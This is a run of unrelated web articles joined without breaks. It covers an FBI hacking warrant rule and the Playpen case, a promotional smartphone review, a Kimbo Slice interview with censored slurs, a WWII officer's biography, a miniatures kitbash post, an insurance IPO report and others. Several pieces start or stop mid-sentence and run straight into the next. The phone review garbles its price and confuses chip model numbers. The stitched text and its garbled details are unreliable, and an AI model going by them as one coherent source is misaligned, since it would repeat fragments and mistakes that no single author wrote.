Opponents of the amendment will be fighting an uphill battle. Many lawmakers The Hill spoke to — including members of the Judiciary Committee in both chambers — weren’t even aware of the rule change.
And in order for opponents to roll back the new rule, which goes into effect in December, Congress would have to pass affirmative legislation amending it — something onlookers say will be difficult during an election year, no matter what the issue is.
“The chance of Congress passing affirmative legislation on anything this year is pretty slim,” said Christopher Soghoian, chief technologist at the American Civil Liberties Union.
Some opponents of the change are more hopeful, believing they have the ear of a powerful advocate.
Sen. Chuck Grassley Charles (Chuck) Ernest GrassleyOvernight Health Care: Drug execs set for grilling | Washington state to sue over Trump rule targeting Planned Parenthood | Wyoming moves closer to Medicaid work requirements Senate reignites blue slip war over Trump court picks Lower refunds amplify calls to restore key tax deduction MORE (R-Iowa) last summer asked FBI Director James B. Comey a number of probing questions about the DOJ’s request to amend Rule 41.
“The FBI’s use of spyware and the DOJ’s proposed changes to the legal framework through which the FBI receives judicial approval to do so raise several important questions,” the chairman of the Senate Judiciary Committee wrote.
But Grassley has not tipped his hand since the Supreme Court approved the changes last month.
Meanwhile, former DOJ officials say the government has the perfect example to lobby its position.
In February 2015, FBI investigators seized control of the computer server running Playpen, a child pornography site that at its height averaged 11,000 unique visitors each week.
But instead of shutting the site down, investigators ran Playpen for two weeks, during which time they hacked the thousands of different users accessing the site, pursuant to a single search warrant.
The government has brought numerous cases against users of the site it was able to identify through remote access, many of whom are now challenging the warrant.
Last month, a Massachusetts defendant in the case successfully persuaded Judge Carney that the warrant “was issued without jurisdiction and thus was void.”
Other defendants have been quick to react. At least one defense lawyer is even seeking to withdraw his client’s guilty plea.
With its case potentially unraveling, the Department of Justice is under pressure to shepherd the Rule 41 change through Congress.
And there’s no question that the optics are in its favor in the Playpen case.
“When DOJ wants to go up to the Hill and get something, we have to give the use cases,” a former Justice official told The Hill. “It’s a widely-known secret: Child pornography cases are the best ones to get changes in legislation for. Who’s against catching child predators?”
--This piece was updated on Monday at 4:50 p.m.If you thought that OnePlus One was the cheapest Snapdragon 801 smartphone that you will every lay your eyes on, then we have another surprise waiting for you in the form of Infocus M810T. This smartphone only carries a price tag of 9.99 by using coupon:M810TGB, which makes it even less than half the price of the 16GB storage model of OnePlus One. However, will it perform well in our review and win the title of being the most affordable and best performing Snapdragon 810 around? Let us find out in order to be really sure about it.
Infocus M810T: Design and appearance
For smartphone consumers that judge mobile devices based solely on their appearance, we are confident that you will give Infocus M810T the highest possible rating in your opinion because the smartphone looks absolutely gorgeous, particularly from the rear side. At the rear side of the device, you will clearly be able to view the prominent company’s name engraved, along with a very shiny, and somewhat sparkly appearance of the chassis. Out of all the colors available, we fell in love in the gold variant, because it looks downright breathtaking, and we have a feeling that you will agree with us on this.
When we held the smartphone for the first time in our hands, Infocus M810T actually felt like a solid handset, unlike some Chinese ones that feel extremely delicate and flimsy. As far as build quality goes, it looks like the company has spared no expense in incorporating a very robust body.
Infocus M810T: Button placement
While we are not too concerned about this segment, there are still some things that we have to point out to you guys, especially if you intend on purchasing this smartphone. Starting off, the power button is present directly above the volume buttons, which are surprisingly present one the left side of the smartphone rather than the right. While this is strange to see, what we did find was that Infocus M810T features two slots on the right hand side, where users can insert their SIM, as well as a microSD storage card (keep in mind that the capacity limit is 64GB).
When we held the smartphone, it did take us a while to get used to the button placement, since we aren’t used to the power and volume buttons being on the opposite side of the device. Another thing that we noticed was that the microUSB charging port and the 3.5mm headphone jack were both present on the bottom side of the smartphone, which is very unusual for such a placement. Regardless, we were happy to see that there was ample distance between both ports, allowing you to charge your device, and plug in headphones or earphones at the same time without any cable obstruction being caused in any manner.
There is no physical navigation button present on the smartphone; just capacitive buttons. While we were hoping that a physical home button would be present on the lower center of the device, the capacitive buttons are extremely responsive and execute the command without delay, which was impressive to see.
Infocus M810T: Display and resolution
Infocus M810T features a 5.5 inch display that renders a resolution of 1920 by 1080 pixels. While Super AMOLED type displays look the best, we have to say that the IPS panel present on this device made every single thing look extremely detailed and decorated. During the daytime, the anti-reflective property of the IPS panel made it extremely simple to view the screen without adjusting the brightness all that much.
Several readers over here must be thinking that while viewing content in the dark would be very discomforting to our eyes, we have to say that the experience is far more pleasant than anything that we have ever seen before. The visibility of the content was exceptional, and the display was extremely vibrant. Image quality would not decay if we tilted the screen, which shows that the company invested a great deal of effort in incorporating a very high quality display, just so we get the best possible viewing experience according to the price we pay.
Infocus M810T: Interface impressions
While we were hoping that the smartphone was running Google’s Android Lollipop update, KitKat 4.4.2 was still running smoothly. The stock interface that we were getting used to was what the company refers to as InLife U, which is by far, much better in functionality as compared to what you normally get to see in Android handsets. Starting off, the interface is very simple in aesthetics and design and in order to deliver the most amount of performance, it features a flat design, with strong yet ‘not too flashy’ app icons that make the interface as smooth as butter and looks good on the eyes as well.
One thing that we loved about this interface was that when we swiped our thumb or finger from the top of the screen, there would be a whole list of options to choose from, ranging from Wi-Fi, to airplane mode, to NFC connectivity to flashlight and so much more. This is something that we prefer much more than going all the way in to the settings section over and over again in order to toggle the basic connectivity features. The company has also placed in a power saving mode that limits the processor’s capability, but gives you a whole chunk of battery life in return.
If you want our verdict on the interface, then we will give it full marks on not just performance, but also on the ease of usability, and the amount of functions that you are able to execute from just the home screen, and that too without requiring the settings application to do so.
Infocus M810T: Camera performance
Majority of smartphone consumers will also purchase an affordable smartphone in order to get a high performing both camera sensor that is present on both the front and rear side of the device. On this occasion, Infocus M810T features a 13MP rear camera sensor that performs terrifically, and also features a 5MP front camera sensor for all you selfie lovers. The only thing that we missed having from the front camera sensor was that it was void of a LED flash, which would make images appear brighter in low light conditions.
Coming to the image results of the primary camera sensor, we were amazed to see the image quality of the rear shooter, even after we decided to see how the images would turn up if we decided to zoom in on an object. The results were quite impressive, as you will see from the images that have been posted below. While these is not DSLR quality images, we still got to experience the next best thing.
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Infocus M810T: Performance (Processing and connectivity)
Now let us come to the core segment as to why consumers want to purchase a smartphone in the first place? Raw performance. We fired up AnTuTu to see how the device would fare when pitted against the remaining competition and we have to say that the smartphone was nothing short of impressive. Even though it features the same hardware specifications as HTC One M8 and Galaxy S5 (Snapdragon 801 along with 2GB RAM), our smartphone still performs much better than these two and we know the reason why.
The custom interface, which features a flat design, has been optimized for performance and gave us the extra bit of kick that we needed since it did not consume as much system resources as the taxing interfaces that belong to both HTC and Samsung. This also shows that the firmware optimization is also up to the mark. We were also able to take out time to conduct other benchmarking tests, as you can tell from the images below. In order to see how your device fares against ours, we highly recommend that you run the exact same tests on your own smartphone and let us know how it performed.
Coming to the connectivity side of things, we fired up 4G connection and immediately ran a speed test to see what kind of results we would get. Since China Telecom is known for its blistering speeds, particular on the 4G network, given below is the speed that we got after successfully running the test.
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Infocus M810T: Battery life measurement
We were concerned about the 2,600mAh battery present inside Infocus M810T, but after running the tests, we are able to happily able to say that the mobile device was able to give us slightly over 12 hours of battery life. When we executed the power saving mode, we got a little over 14 hours, which is impressive indeed. However, if you are running the 4G connectivity mode, then you should be warned that the modem consumes a ton of battery power because we were only able to rake out a little over 7 hours.
So unless you really need to use the 4G connectivity, we would recommend you to disable it.
Hardware specifications
Chipset: Qualcomm Snapdragon 801
Processor: Quad-core Krait 400 running at 2.5GHz
RAM: 2GB
Memory: 16GB (supports a microSD storage card up to 64GB)
Battery: 2,600mAh
Display size: 5.5 inch IPS panel
Screen resolution: 1920 x 1080
Charging port type: microUSB
Final verdict
After looking at each and every aspect of Infocus M810T, we have summarized the following scores below:
Build Quality : 10 out of 10
: 10 out of 10 Appearance : 10 out of 10
: 10 out of 10 Button placement : 7 out of 10
: 7 out of 10 Interface experience : 9 out of 10
: 9 out of 10 Display quality : 10 out of 10
: 10 out of 10 Price/performance ratio : 10 out of 10
: 10 out of 10 Camera performance : 8 out of 10
: 8 out of 10 Battery performance: 7 out of 10
Not only is Infocus M810T a highly affordable handset, but it exceeds the performance levels of both HTC One M8 and Galaxy S5, both of which are much more expensive than the smartphone we reviewed today. Despite the fact that the button placement was a little out of place and battery life suffered slightly while connected to the 4G network, we could not be happier with the device we received to give our thoughts over. If you happen to be in the market, and are looking for a sub-$150 priced handset, then set your eyes on Infocus M810T, because we doubt that you could ever get a deal as sweet as this.It is just after 1PM Eastern Time, which means new OS updates are rolling out for those on Windows Phone. Today, we are getting many reports that the Lumia Cyan and Windows Phone 8.1 update is going out for those with a Lumia 1020 on AT&T (and presumably a few others worldwide).
As mentioned previously, if you are using the Preview for Developers program and are already on Windows Phone 8.1 or 8.1 Update, you will not get an update notification today as the hold is still in place for the Cyan update. Instead, you need to use the Nokia Recovery tool to roll back to Windows Phone 8.0. (In some instances, the 8.1 and Cyan update is already on Nokia's servers, so instead of downgrading, you can just flash the device with the update.)Don't expect Kimbo Slice, the mixed martial artist who has humbly worked on his craft at American Top Team, to show up for his Bellator 149 fight.
Expect, instead, a return to his street fighting roots when Slice meets Dhafir Harris, a.k.a. Dada 5000, at Houston's Toyota Center on Feb. 19.
"I am going to f--- this n------ up," a fired-up Slice told MMAFighting.com on Wednesday. "Don't get me wrong, I'm open to all possibilities in an MMA fight including submissions and anything else that comes up. But the true fight fans appreciate a real fight, and this is two n------ from the same neighborhood who have a beef to settle. I'm going to knock his ass out and he's going to wake up and not know what hit him."
While many fans may have responded with a "who?" when Dada 5000 was announced as his opponent Friday, Slice is ready to fill in the details, saying he was a hanger-on with his crew who's been using his brief brush with Kimbo to get his 15 minutes of fame.
"This is a guy who, when I making my transition from YouTube to MMA, and I was fighting Ray Mercer on pay-per-view, this was a guy from our neighborhood who we knew," the Miami native said. "And we brought him in as sort of a bodyguard for that event, and he was around for a little while. He was never a part of our inner circle."
But things went south between the two during Slice's initial rise to fame, during which he headlined the first-ever live network television MMA card in 2008.
"So when I started to break big, all of a sudden he starts doing interviews disrespecting me," Slice said. "He grew out a beard like mine, he did everything, he was basically using his little bit of notoriety to try to make a name for himself. But he would never show up where we were, even though we lived in the same hood."
Slice knows full well this isn't a fight for the purists. He's 41 years old and his win over Ken Shamrock in June was his first fight in five years. Dada 5000, who gained a measure of attention in the Netflix documentary "Dawg Fight," is 2-0 and hasn't fought a sanctioned bout since 2011.
But with a ticket on-sale date of Saturday for the Spike-broadcast card, Slice doesn't believe criticism will keep the fans from tuning in.
"I've been waiting for years to beat this motherf------'s ass," Slice said. "This one is about going back to my roots. People can relate to that."A Minnesota high school student who lined up a porn actress to be his senior prom date will not be allowed to take the adult star to the dance, FoxNews.com has learned.
Mike Stone, 18, of Oakdale, Minn., sent hundreds of tweets this week to adult film stars asking them to accompany him to the May 12 dance at Tartan High School. Two actresses, Emy Reyes and Megan Piper, soon responded, with Reyes saying, "I would love tooo" [sic] and Piper agreeing to attend if Stone covered her travel costs from Los Angeles.
But Stone's dream date won't happen, according to school district officials.
Patty Phillips, superintendent of the North St. Paul-Maplewood-Oakdale School District, told FoxNews.com in an email that Piper, 19, would be prohibited from attending the dance because her appearance would be "inconsistent" with two district policies pertaining to visitors to school buildings and sites.
The policy states that any individual or group can be denied entry to those events if the visit is "not in the best interest" of the district, district spokeswoman Jennifer McNeil told FoxNews.com.
Stone, who could not be reached for comment Wednesday, had sought to raise $400 for Piper's ticket. Messages seeking comment from Piper and Reyes were not returned.
Stone's foiled effort is the latest in a string of bold proposals to celebrities for formal occasions.
Actress Mila Kunis attended the Marine Corps Ball in Greenville, N.C., after Sgt. Scott Moore asked her to be his date via a YouTube video in November. That same month, Kunis' "Friends With Benefits" co-star Justin Timberlake attended the Basic School Instructor Battalion 236th Marine Corps Birthday Ball in Richmond, Va., with Cpl. Kelsey De Santis.
Singer Taylor Swift was asked via Facebook to be the prom date of New Jersey high school student Kevin McGuire. Swift said she could not make it but instead asked the cancer battler to be her date to the Academy of Country Music Awards in Las Vegas on April 1.
Newscore contributed to this report.Lieutenant Colonel Ronald C. Speirs (20 April 1920 – 11 April 2007)[1] was a United States Army officer who served in the 506th Parachute Infantry Regiment of the 101st Airborne Division during World War II. He was initially assigned as a platoon leader in B Company of the 1st Battalion of the 506th Parachute Infantry Regiment. Speirs was reassigned to D Company of the 2nd Battalion prior to the invasion of Normandy in June 1944 and later assigned as commander of E Company during an assault on Foy, Belgium after the siege of Bastogne was broken during the Battle of the Bulge. Speirs also served in Korea, where he was assigned both as a rifle company commander and as a staff officer. He later became the American governor for Spandau Prison in Berlin. He reached the rank of captain while serving in the European Theater during World War II, major during the Korean War and retired as a lieutenant colonel. Speirs was portrayed in the television miniseries Band of Brothers by Matthew Settle.
Youth [ edit ]
Speirs was born in Edinburgh, Scotland in 1920 and spent his first few years there. He emigrated with his family to the United States, arriving in Boston, Massachusetts on 25 December 1924.[2] He attended military training in high school, which led to a commission as a 2nd lieutenant in the infantry of the United States Army. After the United States entered World War II Speirs volunteered for the paratroopers. He served as a platoon leader within Dog Company, 2nd Battalion of the 506th Parachute Infantry Regiment, which later became part of the 101st Airborne Division, at Camp Toccoa, Georgia and was shipped to England in late 1943 shortly before Mission Albany. After arriving in England, the division began training for the invasion of France.
Military service [ edit ]
World War II [ edit ]
Ronald Speirs in Bastogne, December 1944/January 1945
Speirs parachuted into Normandy on 6 June 1944 (or D-Day) and quickly met with fellow troops after landing. He assembled a small group of soldiers to assist during the Brecourt Manor Assault, where they captured the fourth 105mm howitzer.[3]:83[4]:88[5]:69
Speirs' platoon spent the night of 6 June being shuffled in position with other platoons as the company was arranged for battle to begin early the next morning.[4]:186 A rolling artillery barrage had been coordinated in support of the ground assault on the morning of 7 June, to initiate the attack. It was here that PFC Art DiMarzio, who is also referenced in the book "Beyond Band of Brothers", was eyewitness to an event. He stated that a replacement sergeant disobeyed a direct order while in a combat situation, thereby risking the lives of the other soldiers in the company. According to DiMarzio, Speirs, commanding 2nd platoon, Dog Company was given orders to halt their attack on Ste. Come-du-Mont, to hold position while regimental headquarters coordinated a rolling barrage shelling fifteen targets in the vicinity of Ste. Come-du-Mont. DiMarzio, who was lying in a prone position next to a sergeant, stated he remembered the sergeant being drunk. An order to hold position was given and relayed down the line which the sergeant refused to obey, wanting to rush forward and engage the Germans. Once again, Speirs gave him the order to hold his position. Speirs told the man that he was too drunk to perform his duties and that he should remove himself to the rear. The sergeant refused and began to reach for his rifle. Speirs again warned the sergeant, who now leveled his rifle at Speirs. Art DiMarzio says he then saw Speirs shoot the sergeant in self-defense. The entire platoon also witnessed the event. Lieutenant Speirs immediately reported the incident to his commanding officer, Captain Jerre S Gross. Eyewitness DiMarzio says that Captain Gross went to the scene of the shooting and after receiving all the information, deemed it justifiable self-defense. Captain Gross was killed in battle the next day, and the incident was never pursued.[citation needed]
In January 1945, when Easy Company's initial attack on the German-occupied town of Foy bogged down due to the poor leadership of its commander, 1st Lieutenant Norman Dike, battalion executive officer Captain Richard Winters ordered Speirs to relieve Dike of command.[4]:176 The selection of Speirs was incidental; Winters later stated that Speirs was simply the first officer he saw when he turned around.[4]:185[3]:209 Speirs successfully took over the assault and led Easy Company to victory. During this battle, Lt. Dike had ordered a platoon to go on a flanking mission around the rear of the town.[3]:208 To countermand this order, Speirs himself ran through the town and German lines (as this platoon had no radio), linked up with the Item Company soldiers and relayed the order.[3]:209 Having completed this, he then ran back through the German-occupied town. He was reassigned as commanding officer of Easy Company and remained in that position for the rest of the war. Of the officers who commanded Easy Company during the war, Speirs commanded the longest.[4]:272
Winters assessed Speirs as being one of the finest combat officers in the battalion. He wrote in his memoirs that Speirs had worked hard to earn a reputation as a killer and had often killed for shock value.[4]:187 Winters stated that Speirs was alleged on one occasion to have killed six German prisoners of war with a Thompson submachine gun and that the battalion leadership must have been aware of the allegations, but chose to ignore the charges because of the pressing need to retain qualified combat leaders. Winters concluded that in today's army, Speirs would have been court-martialed and charged with atrocities, but at the time officers like Speirs were too valuable because they were not afraid to engage the enemy.
Although Speirs had enough points to go home after the end of the European Campaign, he chose to remain with Easy Company. Japan surrendered before Speirs and Easy could be transferred to the Pacific Theater.
Korean War [ edit ]
Speirs returned to the United States and decided to remain in the Army, serving in the Korean War. On 23 March 1951, he participated in Operation Tomahawk in which he made a combat parachute jump into Munsan-ni with nearly 3,500 other troopers in his unit (187th Regimental Combat Team). As a rifle company commander,[citation needed] he was part of his battalion's mission to secure the drop zone, killing forty or fifty enemy soldiers in the process.[6]
Post Korean War [ edit ]
Following Korea, Speirs attended a Russian language course in 1956 and was assigned as a liaison officer to the Red Army in Potsdam, East Germany. In 1958, he became the American governor of the Spandau Prison in Berlin, where prominent Nazis such as Rudolf Hess were imprisoned.[3]:301 Prisoner Albert Speer mentions in his book, Spandau: The Secret Diaries, a "hard-nosed, irritating American Commandant"; that man was later identified as Speirs.[citation needed]
In 1962, Speirs was a member of the US Mission to the Royal Lao Army,[3]:301 where he served as a training officer in Mobile Training Team (MTT) for Operation White Star which was then managed by the Military Assistance Advisory Group in Laos (MAAG Laos).[citation needed]
His final assignment in the Army was as a plans officer in the Pentagon. He retired as a lieutenant colonel in 1964.[7]
Personal life [ edit ]
On 20 May 1944, Speirs married Margaret Griffiths, whom he had met while stationed in Wiltshire, England.[8] Griffiths had been a member of the Auxiliary Territorial Service. They had one son, Robert, who grew up to become a lieutenant colonel in the Royal Green Jackets.
The 1992 Stephen E. Ambrose book Band of Brothers claimed Speirs' English wife had left him and returned to her first husband whom she thought had died during the war.[3]:287 Speirs denied this claim. In a 1992 letter written to Richard Winters, Speirs wrote that his first wife simply did not want to move to America with him and be away from her family in England. He also stated his wife was never a widow to begin with and that he had always loved her.[citation needed]
Awards and decorations [ edit ]
See also [ edit ]Rose McGowan is a fierce advocate for the gay community. After all, if it weren't for the care of its members, the course of her entire life may have changed.
Born in Italy as a member of the Children of God cult, McGowan had a rocky childhood that included a return to the US at age 10. As she tells The Advocate in a new interview, she left home a few years after that.
"At 13, when I was a runaway, I was taken in by the most amazing drag queens in Portland, Ore," McGowan says. "We didn’t always know where our next meal was coming from, but there was so much camaraderie and love. Not to mention, those girls could paint a face, and I learned how because of them."
The "Charmed" star, who next stars in "Conan the Barbarian," details fun times that she had with her guardians -- and the way in which they impact her to this day.
"I could finagle my way into lots of different places," she says about whether she could get into night clubs despite her young age. "Whether it was how I danced or the way I looked, I was always quite celebrated in the gay clubs. To this day, I only go to gay clubs. I’m perfectly at home there. I also like watching hot boys and hot girls who can dance."
That being said, as hard as she tries, she doesn't find herself attracted to women. Off-screen, at least.
"I disappoint myself. I’ve never even kissed a girl. Isn’t that funny? The girls I think are cute look like guys, but then I think, But if they open their shirt, they’ll have breasts," she muses. "I’d be stoked to do a lesbian love scene. When asked if I’ve kissed a girl, I could finally say, ‘Why, yes, I have. And I got paid.’"
McGowan is in the middle of a busy period in her career; she's set for a guest role on "Law & Order: SVU," will lead in the thriller, "Rosewood Lane," star with Heather Graham and Kim Basinger in the comedy, "Fortune," and star in the big screen adaptation of the Sylvia Plath novel, "The Bell Jar," with Julia Stiles.
For much more, click over to The Advocate.After two loose, so-called pit bulls attacked a Beagle in August, Breckenridge, Colorado is not only considering a breed-specific law (BSL) for “pit bulls,” but also for breeds like Doberman Pinschers, unnamed breeds of mastiff, German Shepherds, Malamutes, Chow Chows, Rottweilers, Huskies, and possibly others.
Although Colorado has, since 2004, prohibited breed-specific dog bans, Breckenridge is citing Denver as a supposed BSL success story. What they neglected to acknowledge, however, is that Denver’s “pit bull” ban has cost millions in taxpayer dollars and has regardless been enforced poorly with Denver’s ACOs repeatedly being unable to discern what is and what is not a “pit bull” as defined by their own ordinance.
As Denver (and Miami-Dade County) has also shown, BSL actually increases dog bite-related hospitalizations. And if that’s still not enough proof for Breckenridge, even the White House recently acknowledged that BSL is impotent legislation that does not keep communities safer.
So what’s the problem in Breckenridge? Because at a presentation to the town Council in September, Police Chief Shannon Haynes cited statistics that showed that,
... since 2011, the town has issued 15 citations for 31 bite calls, none of which involved pit bulls. There have been 86 citations for 115 “dog at large” calls.
It sounds like Breckenridge has a free-roaming |
Carrigan urged him to set up a task force with top CU athletic officials to make sure nothing like the football recruiting scandal of the early 2000s ever happened again.
"In the task force, which has been up and running since 2009, we often discuss the kinds of organizational issues that cases like this present and the obligations that everyone has in each position," said Garnett, who is not prosecuting the Tumpkin case, which originates in the 17th Judicial District. He confirmed that both George and MacIntyre have participated in these meetings.
Allegations of domestic violence against a university employee also must be reported to Title IX compliance officers, according to SI. Did the alleged victim's phone call to MacIntyre trigger such a report? "The (Office of Institutional Equity and Compliance) does not comment publicly on any matter that may have been referred to them," a CU spokeswoman said in an email.
CU says it allowed Tumpkin to coach in the bowl game because it didn't know about a restraining order issued against Tumpkin on Dec. 20 until learning of it from a Daily Camera reporter on Jan. 6. But the alleged victim says she left a voicemail for MacIntyre, who was no longer taking her calls, a couple of days before flying to Colorado to get that restraining order, informing him of her intention to do so. A little more than an hour after leaving that voicemail, according to the SI report, she received another call from Banashek. She did not want her alleged assailant's lawyer to know of her plans. From the SI report:
"He asked what I was planning on doing. I said I don't know. He said, Well, you have a lot of people on pins and needles here. I asked who. He said, Joe, Mac, Rick George. I said, 'Mac says he 100 percent believes me. But everyone is on pins and needles because they want to know if I am going to the police? Not because there is an abusive man on Mac's staff?'"
A CU spokeswoman said this week that university Chancellor Phil DiStefano, George and MacIntyre approved Tumpkin coaching in the bowl game because they had "no official documents in hand from a court or an investigation by police." Given the heads-up the alleged victim gave MacIntyre about her plans to get a personal protective order, and his decision not only to let Tumpkin coach but to enhance his responsibilities, that explanation sounds like little more than bureaucratic butt-covering.
In the football team's first winning season under MacIntyre, was the outcome of the bowl game and CU's final poll ranking a factor in the decision? Was Tumpkin's role as a top recruiter and the Feb. 1 National Signing Day a factor?
MacIntyre has offered no explanation, although he did find time to sign a $16.25 million contract extension on Jan. 9. He has refused comment on even innocuous Tumpkin-related questions since the bowl game.
We understand there is an ongoing criminal case, but that case now relates to domestic violence charges against a former CU employee. We understand covering your behind legally. But we think the university and the state's highest-paid public employee have a moral obligation to own up to what happened here.
Football coaches are forever lecturing players and fans about character and accountability. We are waiting for CU's coach to show a little of either.
—Dave Krieger, for the editorial board. Email: kriegerd@dailycamera.com. Twitter: @DaveKriegerIn view of last night's reports, alluding to supposed legal sources, about a future sanction against Real Madrid for possible infractions in the signing of foreign minors, the club would like to state the following:1. That said information is completely false, as demonstrated by the fact that the Spanish Football Federation has spoken to different media outlets to refute the claims that Real Madrid is implicated in any kind of irregular activity when it comes to signing minors.2.- Real Madrid reiterates that the club has always scrupulously adhered to the FIFA regulations, as was explained in detail in the official announcement dated 26 January 2015 3.-Real Madrid is once again saddened by these reports, some of which are intended to cause harm, the only aim of which are to implicate the club in supposed infractions that have not been committed.4.- At the same time, it is surprising that certain media outlets insist on connecting the latest signings with a hypothetical sanction, as there is no relationship between the signing of players and their subsequent inscription, which is what FIFA prohibits.5.- Real Madrid reiterates once again its absolute committment to the defence, protection and the correct and healthy development of minors, which take precedence over sporting interests and, as a consquence, confirms its total support of these FIFA regulations and the club's adherence to them.My first proper kitbash! It’s nothing fancy, but it’s the first time I’ve tried merging kits like this to make something new. I was inspired by the brand new Icon Bearer Plague Marine kit that was released last week. I like the new kit, and I’m planning to get one sooner or later, but I’ll need more Icons than that. There’s also an Icon in the new multi-part Plague Marine kit, but it’s a hand-held Icon rather than on a pole, and I don’t think it looks as impressive. Besides, there are now 22 different Plague Marine models that have been released. (7 Dark Imperium, 3 First Strike, 7 multi-part Marines, 3 Plague Brethren, 1 Icon Bearer, and the Plague Champion with the sassy helmet wearing Nurgling on his base.) That’s enough for 3 squads of 7, but only includes 2 Icon Bearers, so this kitbash will be my third.
Obviously the Plague Marine I used is one of the starter squad in Dark Imperium, except I chopped off the smoking censer thing that was sticking out the top of his backpack. I really don’t like the aesthetic of the billowing smoke. I don’t think it translates well into sculpted form. It’s impossible to make a gaseous shape look gaseous when it’s painted onto solid plastic. I’ve seen some nice colourful attempts that really look quite pretty, but none that actually make it look like gas. I wish they’d made it so that the gas was an optional add-on so that I could keep the censer ball, but such is life.
The Icon of Despair comes from the Putrid Blightkings kit for Age of Sigmar. The much lauded Blightkings are crowd favourites among kitbashers, but just in case you’re new to the Nurgle conversion scene, go check out the kit, because it’s amazing for hobbyists. It has so many awesome extra optional bits. I bought it specially for kitbashing my Death Guard army, but even if you play Age of Sigmar and build the Blightkings themselves you’ll still have plenty of cool bitz left over for converting other models. I used the Icon pretty much as it comes in the box; I just had to snip a small piece off the bottom of the pole to make it fit between the base and the Plague Marine’s hand position.
The paintjob is obviously not too different from the Plague Marines I’ve painted so far. I tried to mix it up a little with the green helmet, to show that the Icon Bearer has a position of honour within the unit. Overall I’m just continuing the theme of using a uniform colour pallette but without uniform pattern / placement. I like how this Icon Bearer both fits in with and stands out from his squad. I am exploring some different painting techniques here, with mixed results, but I’ll go into that more once I’ve nailed down my methods.
As far as kitbashes go, this wasn’t a very difficult or complicated one. I just cut off the Marine’s Plague Knife at the wrist, then slightly filed down the wrist-stumps until the angles matched. I drilled little holes into each side of the connection point and super-glued in a metal pin to make the connection stronger, then bonded the wrist-stumps together with plastic glue. I put a little extra glue for structural support at the points where the Icon touched other parts of the model, like the shoulder tentacle and the base. If you want to try it for the first time, I recommend searching YouTube for kitbash tutorials, there’s plenty of useful stuff there.
Kitbashing a Plague Marine Icon Bearer is also a great option for budget conscious Death Guard players. The Icon Bearer kit GW sells is a bit pricy for just a single model. The beauty of Papa Nurgle is that you could make your own Icon of Despair with any random collection of bits and a little creativity, so go to town on it. And even though the Blightkings set isn’t the cheapest option, the amount of value you get from it is well worthwhile if you’re planning to do other Nurgle conversions in the future.
Nurgle, Plague Marines, Icon of Despair, Putrid Blightkings, Warhammer, Age of Sigmar, etc etc etc are the property of Games Workshop.
AdvertisementsMumbai: The initial public offering of HDFC Standard Life Insurance Co. Ltd was subscribed 4.88 times on Thursday, the final day of the public offering, on the back of an oversubscription in the institutional and high net-worth individuals (HNI) portions of the share sale, according to data from stock exchanges.
As of 6pm, the portion of shares reserved for institutional investors was subscribed 16.6 times, while those for high net-worth individuals and retail investors were subscribed 2.29 times and 88%, respectively.
HDFC Standard Life had set a price band of Rs275-290 per share for the IPO.
The IPO, a pure offer for sale, will see the two promoters of the life insurer—Housing Development Finance Corp. (HDFC) and Standard Life—sell 299.82 million shares, fetching Rs8,695 crore. At the upper end of the price band, HDFC Standard Life Insurance is valued at Rs58,277 crore.n In fiscal 2017, HDFC Standard Life’s new business premium grew 34% from the previous year to Rs8,696.3 crore. As on 30 September, the firm had assets under management of Rs99,530 crore. The IPO will see a dilution of 14.92% stake.
The HDFC Standard Life share sale has witnessed the most subscription among all the five insurance IPOs to hit the primary market this year.
Insurance companies ICICI Lombard General Insurance Co. Ltd, SBI Life Insurance Co. Ltd, state-owned General Insurance Corp. of India Ltd (GIC Re) and New India Assurance Co. Ltd (NIA) went public ahead of HDFC Standard Life, earlier this year.
The IPO of SBI Life Insurance was subscribed 3.57 times, while those of ICICI Lombard General Insurance, GIC Re and NIA were subscribed 2.97, 1.35 and 1.19 times, respectively.
The HDFC Standard Life IPO is the third largest this year after GIC Re’s Rs11,372 crore and NIA’s Rs9,600 crore share sales.
Last year, ICICI Prudential Life Insurance Co. Ltd became the first insurance company in the country to launch an initial public offering.
On Monday, as part of its anchor book allocation, HDFC Standard Life allotted shares worth Rs2,322 crore to institutional investors including sovereign wealth funds of the Singapore government, Abu Dhabi Investment Authority and Norwegian sovereign wealth fund Norges. Other institutions that participated in the anchor book allocation included foreign investors such as T Rowe Price, Capital Group, Fidelity and Blackrock.We all know that marketing is a tricky thing. Some might even call it a slippery slope. How many times have you seen a commercial, whether it's on TV or on the Internet, and found yourself judging it for its content and message? Did it sell the product? Did the advertisement even show the product? And, more than anything else, by the time the commercial came to an end, did it make you want to buy whatever it was trying to sell?
Does anyone remember those first Palm webOS/Pre commercials for Sprint? Or how about the Pre Plus ads for Verizon that focused on the calendar? Those were some pretty striking ads, and not necessarily in a good way.
Advertisements are meant to make you want to buy something new. When it comes to mobile devices, though, it's working double duty: They need to make you want to buy something, but more often than not they probably need to make you want to switch from something else, too. A slippery slope! So they not only have to show you why it's good on its own, but also why it's better than what you're already using.
That's why advertisement campaigns aren't the only means to try to get you to switch. This is where Microsoft is nailing it, I think, at least on one front. They've just launched an Android application that's meant to get you ready to switch from Google's platform to Windows Phone. Yes, you read that correctly. Microsoft's launched an Android app, to make sure you're all ready to switch to Windows Phone.
The app is called (wait for it…) "Switch to Windows Phone," and it's available right now in the Google Play Store for free. What does it do? It's actually pretty ingenious: Switch to Windows Phone, once downloaded onto your Android device, will populate all the applications you have on your phone, turning it into a nice list, and then it will show you the counterparts available right now on Windows Phone.
If it can't find the exact match? It will find you an app that's similar in functionality. That's not all, though. It will then put that list into the cloud, so that when you switch over to Windows Phone and log into that device with your Outlook account, it will download all your missing applications without you having to go scour the Windows Phone Market for them on your own.
Essentially, Microsoft is doing its best to make sure that your device really is yours, right out of the box, without you having to worry about downloading all the things you'd be missing switching from one platform to another. It takes the search out of your set up process, and just makes sure all your apps are ready to go when you need them.
We all know that one of Microsoft's biggest obstacles is application availability. Whether or not someone has even looked, the general assumption is that Windows Phone just "doesn't have my app." Microsoft is doing their part to make sure that you know, well before you switch, that your app is available on their platform. (If it is available.) And even if the exact app isn't available, Microsoft's effort to try and find you an alternative is a nice extra step. It's like going beyond the call of duty.
They're simply trying to make you switch, by making it as comfortable as possible.
This is honestly one of the best campaigns for a mobile platform I've ever seen. This isn't just something that you use on the Web, where you type in an app and hope to find it through a long search. You don't have to write down all your important apps, then try to search for them once you get a Windows Phone, hoping for the best.
No, Microsoft is prepared to do all the heavy lifting, to make sure that you know what you have switching platforms. On top of that, they'll take care of downloading everything for you, too. This is the sort of thing you'd give a tip for: It's the equivalent of hotel staff not necessarily needing to carry your bags up to your room, but they do it anyway.
